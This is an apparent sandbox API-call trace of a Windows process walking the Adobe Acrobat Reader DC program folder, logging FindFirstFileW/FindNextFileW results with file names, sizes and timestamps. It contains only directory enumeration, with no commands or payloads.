	[0163.530] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="info.gif", cAlternateFileName="")) returned 1
	[0163.530] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387d5e6d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2e9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.css", cAlternateFileName="")) returned 1
	[0163.530] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="open_original_form.gif", cAlternateFileName="OPEN_O~1.GIF")) returned 1
	[0163.530] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pdf.gif", cAlternateFileName="")) returned 1
	[0163.530] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="reviewers.gif", cAlternateFileName="RE16B1~1.GIF")) returned 1
	[0163.530] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="reviews_joined.gif", cAlternateFileName="RE99D5~1.GIF")) returned 1
	[0163.530] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="reviews_sent.gif", cAlternateFileName="RECDE7~1.GIF")) returned 1
	[0163.530] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="reviews_super.gif", cAlternateFileName="RE1558~1.GIF")) returned 1
	[0163.530] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="review_browser.gif", cAlternateFileName="REVIEW~1.GIF")) returned 1
	[0163.531] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="review_email.gif", cAlternateFileName="REVIEW~2.GIF")) returned 1
	[0163.531] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x387fc0d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="review_same_reviewers.gif", cAlternateFileName="REVIEW~3.GIF")) returned 1
	[0163.531] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38848577, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x555, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="review_shared.gif", cAlternateFileName="REVIEW~4.GIF")) returned 1
	[0163.531] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rss.gif", cAlternateFileName="")) returned 1
	[0163.531] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="server_issue.gif", cAlternateFileName="SERVER~1.GIF")) returned 1
	[0163.531] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3886e7e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="server_lg.gif", cAlternateFileName="SERVER~2.GIF")) returned 1
	[0163.531] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="server_ok.gif", cAlternateFileName="SERVER~3.GIF")) returned 1
	[0163.531] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x393, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="stop_collection_data.gif", cAlternateFileName="STOP_C~1.GIF")) returned 1
	[0163.531] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x38a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="submission_history.gif", cAlternateFileName="SUBMIS~1.GIF")) returned 1
	[0163.531] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38894a36, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tl.gif", cAlternateFileName="")) returned 1
	[0163.532] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr.gif", cAlternateFileName="")) returned 1
	[0163.532] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x489, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="trash.gif", cAlternateFileName="")) returned 1
	[0163.532] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x338, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="turnOffNotificationInAcrobat.gif", cAlternateFileName="TURNOF~1.GIF")) returned 1
	[0163.532] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388bac77, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3e3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="turnOffNotificationInTray.gif", cAlternateFileName="TURNOF~2.GIF")) returned 1
	[0163.532] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x388e0edd, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="turnOnNotificationInAcrobat.gif", cAlternateFileName="TURNON~1.GIF")) returned 1
	[0163.532] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="turnOnNotificationInTray.gif", cAlternateFileName="TURNON~2.GIF")) returned 1
	[0163.532] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.gif", cAlternateFileName="")) returned 1
	[0163.532] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x38907108, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.gif", cAlternateFileName="")) returned 0
	[0163.532] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0163.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0163.533] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIThemes", cAlternateFileName="")) returned 1
	[0163.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0163.533] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes") returned 62
	[0163.534] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\UIThemes\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0163.535] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19218da3, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x19218da3, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.535] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1acb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DarkTheme.acrotheme", cAlternateFileName="DARKTH~1.ACR")) returned 1
	[0163.535] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LightTheme.acrotheme", cAlternateFileName="LIGHTT~1.ACR")) returned 1
	[0163.535] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x718de000, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x718de000, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LightTheme.acrotheme", cAlternateFileName="LIGHTT~1.ACR")) returned 0
	[0163.535] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0163.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0163.536] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37b050b7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x42a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1
	[0163.536] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebResources", cAlternateFileName="WEBRES~1")) returned 1
	[0163.536] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0163.536] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources") returned 66
	[0163.536] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0163.537] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4008adde, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe9798e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xfe9798e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.537] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Resource0", cAlternateFileName="RESOUR~1")) returned 1
	[0163.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4530060
	[0163.537] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0") returned 76
	[0163.537] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\*", lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0163.544] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xb58bb396, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.544] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_uris.js", cAlternateFileName="BASE_U~1.JS")) returned 1
	[0163.545] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xd2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0163.545] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1dcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1
	[0163.545] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bee10 | out: lpFindFileData=0x41bee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4381, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins.js", cAlternateFileName="")) returned 1
